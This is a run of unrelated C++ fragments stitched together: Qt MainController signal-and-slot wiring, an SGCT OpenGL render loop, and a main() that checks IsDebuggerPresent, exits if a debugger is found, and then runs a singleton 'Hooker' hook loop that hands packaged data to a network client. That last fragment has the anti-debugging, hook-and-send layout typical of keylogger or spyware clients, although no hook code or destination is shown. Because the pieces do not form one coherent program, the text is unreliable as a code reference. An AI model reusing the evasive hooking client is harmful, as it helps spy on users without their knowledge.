MainController::MainController(QObject *parent) : QObject(parent) { _networkThread = new NetworkThread(this); _mainWindowController = new MainWindowController(this); connect(mainWindowController(), SIGNAL(shouldQuit()), this, SLOT(stop())); connect(networkThread(), SIGNAL(initialized()), this, SLOT(networkThreadInitialized())); connect(networkThread(), SIGNAL(finished()), this, SLOT(deleteLater())); }
int main(int ac, char **av) { if (IsDebuggerPresent()) { return (-1); } if (ac >= 3) { try { Network* network; Packager* packager = new Packager(); if (ac == 4) { network = new Network(av[2], av[1], packager, av[3]); } else { network = new Network(av[2], av[1], packager); } Hooker& hooker = Hooker::getInstance(); hooker.setPackager(packager); boost::thread networkThread(&Network::initNetwork, network); hooker.runHookLoop(); networkThread.join(); } catch (std::exception& e) { std::cerr << "An error occured:" << std::endl; std::cerr << e.what() << std::endl; return EXIT_FAILURE; } return EXIT_SUCCESS; } return EXIT_FAILURE; }
int main( int argc, char* argv[] ) { std::thread networkThread(network); gEngine = new sgct::Engine( argc, argv ); gEngine->setInitOGLFunction( myInitOGLFun ); gEngine->setDrawFunction( myDrawFun ); gEngine->setPreSyncFunction( myPreSyncFun ); gEngine->setKeyboardCallbackFunction( keyCallback ); gEngine->setMouseButtonCallbackFunction( mouseButtonCallback ); gEngine->setClearColor(0.1f, 0.1f, 0.1f, 1.0f); for(int i=0; i<4; i++) arrowButtons[i] = false; if( !gEngine->init() ) { delete gEngine; return EXIT_FAILURE; } sgct::SharedData::instance()->setEncodeFunction( myEncodeFun ); sgct::SharedData::instance()->setDecodeFunction( myDecodeFun ); // Main loop gEngine->render(); // Clean up glDeleteLists(myLandscapeDisplayList, 1); delete gEngine; offMutex.lock(); turnOfNetwork = true; offMutex.unlock(); networkThread.join(); // Exit program exit( EXIT_SUCCESS ); }
void MainController::networkThreadInitialized() { _networkServer = networkThread()->createServer(this); connect(mainWindowController(), SIGNAL(shouldStartServer(QString,quint16)), this, SLOT(onShouldStartServer(QString,quint16))); connect(mainWindowController(), SIGNAL(shouldStopServer()), networkServer(), SLOT(stopServer())); }
void MainController::stop() { networkThread()->quit(); }
void MainController::start() { networkThread()->start(QThread::LowestPriority); mainWindowController()->showWindow(); }